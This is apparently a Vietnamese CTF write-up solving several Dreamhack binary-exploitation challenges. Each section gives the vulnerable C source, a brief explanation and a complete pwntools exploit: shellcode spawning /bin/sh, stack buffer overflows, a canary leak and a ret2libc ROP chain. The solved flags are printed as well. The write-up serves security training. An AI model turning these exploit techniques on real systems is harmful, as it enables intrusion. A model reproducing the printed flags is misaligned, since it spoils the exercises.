945 words
5 minutes
Dreamhack
Welcome
- Kết nối đến server và có flag
DH{5cc72596cba7104569abb37f71b8ccf3}
shell_basic
- Để tạo shell đọc tệp
/home/shell_basic/flag_name_is_loooooongthì ta dùng các lệnhopen, read, writenhưng tên tệp dài 40 byte nên ta chia tên thành 5 phần đưa lần lượt vào stack theo chiều ngược lại và gán thanh ghi tham số chorsp shellcraftsẽ cung cấp các hàm shellcode có sẵn và chỉ việc đưa tham số thích hợp vào
Script
#!/usr/bin/python3
from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 22611)
#p = process('./shell_basic')
path = "/home/shell_basic/flag_name_is_loooooong"
payload = shellcraft.open(path)
payload += shellcraft.read('rax', 'rsp', 100)
payload += shellcraft.write(1, 'rsp', 100)
input()
p.sendlineafter(b'shellcode: ', asm(payload))
p.interactive()DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
basic_exploitation_000
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}- Biến
bufchỉ khai báo 0x80 byte nhưng cho phép nhập vào 141 byte nên có lỗibuffer overflow - Đề in ra địa chỉ của
bufvà chế độ bảo vệ thực thi bị tắt nên ta đưa shellcode chiếm/bin/shvàobufsau đó đưa địa chỉ trả về là địa chỉ củabuf - Vì là kiến trúc 32 bit nên các tham số sẽ được đưa vào lần lượt các thanh ghi
ebx, ecx, edx, esi, edi
Script
#!/usr/bin/python3
from pwn import *
#p = process('./basic_exploitation_000')
context.arch = 'i386'
p = remote('host3.dreamhack.games', 12797)
payload = asm('''
xor eax, eax
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0x8
inc al
inc al
inc al
int 0x80
''')
payload = payload.ljust(132, b'a')
p.recvuntil('buf = (')
buf = int(p.recv(10),16)
log.info(buf)
p.recvline()
payload += p32(buf)
p.sendline(payload)
p.interactive()DH{465dd453b2a25a26a847a93d3695676d}
basic_exploitation_001
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}- Nhìn vào code ta thấy biến
bufkhai báo 0x80 = 128 byte nhưng dùng hàmgetsđể nhập vào không giới hạn nên có lỗibuffer overflow - Có hàm dùng để đọc flag là
read_flagnên ta ghi đè địa chỉ hàm này vào địa chỉ trả về của hàmmain
Script
#!/usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 22411)
context.arch = 'i386'
read_flag = 0x80485b9
ofset = 132
payload = b'A'*ofset
payload += p32(read_flag)
p.sendline(payload)
p.interactive() Return Address Overwrite
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}- Ghi đè địa chỉ hàm
get_shellđể lấy được shell và đọc flag
Script
#!/usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 17894)
get_shell = 0x4006aa
payload = b'A'*56
payload += p64(get_shell)
p.sendline(payload)
p.interactive()DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
Return to Shellcode
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}- Nhận thấy lỗi
buffer overflowở hàmreadvàgetscủa biếnbuf - Đề cho biết địa chỉ của biến
bufnên thuận tiện để ta đưa shellcode vào biếnbufvà ghi đè địa chỉ trả về thành địa chỉ của biếnbufđể thực thi shellcode và chiếm shell - Nhưng Canary được bật nên không thể ghi đè nếu làm thay đổi giá trị canary
- Đề cũng gợi ý là leak canary
- canary nằm sau biến
bufvà trước rbp
- Để leak được canary cần ghi 89 byte và may mắn khi byte cuối của canary là null nên khi leak sẽ lấy 7 byte sau và không làm thay đổi giá trị canary
Script
#!/usr/bin/python3
from pwn import *
context.arch = 'amd64'
#p = process('./r2s')
p = remote('host3.dreamhack.games', 19838)
p.recvuntil(b'Address of the buf: ')
buf = int(p.recvline(), 16)
log.info(hex(buf))
shell = asm('''
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
payload = b'A'*89
#input()
p.sendafter(b'Input: ', payload)
p.recvuntil(b'A'*89)
canary = u64(b'\x00' + p.recv(7))
log.info(hex(canary))
payload = shell
payload = payload.ljust(88, b'a')
payload += p64(canary)
payload += b'a'*8
payload += p64(buf)
p.sendlineafter(b'Input: ', payload)
p.interactive()DH{333eb89c9d2615dd8942ece08c1d34d5}
basic_rop_x86
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}- Lỗi BOF ở hàm read
- Challenge cho ta file libc nên ta cần leak địa chỉ libc để gọi hàm
system(/bin/sh)trong libc để chiếm shell - xem các hàm có trong file thực thi

- Để leak địa chỉ libc thì cần leak địa chỉ của
puts - Dùng
puts@pltđể in ra địa chỉputs@gotsau đó trừ địa chỉputstrong libc sẽ ra địa chỉ cơ sở của libc - Sau đó quay lại hàm
mainvà nhập tiếp lần 2 và đưa lệnhsystemtrong libc với tham số/bin/shđể chiếm shell và đọc flag
Script
#!/usr/bin/python3
from pwn import *
exe = ELF('./basic_rop_x86',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
pop_ebx = 0x080483d9
#p = process(exe.path)
p = remote('host1.dreamhack.games', 16486)
payload = b'A'*72
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])
#input()
p.send(payload)
p.recvuntil(b'A'*64)
puts_leak = u32(p.recv(4))
libc.address = puts_leak - libc.sym['puts']
log.info(hex(puts_leak))
log.info(hex(libc.address))
payload = b'A'*72
payload += p32(libc.sym['system'])
payload += p32(pop_ebx)
payload += p32(next(libc.search(b'/bin/sh')))
p.sendline(payload)
p.interactive()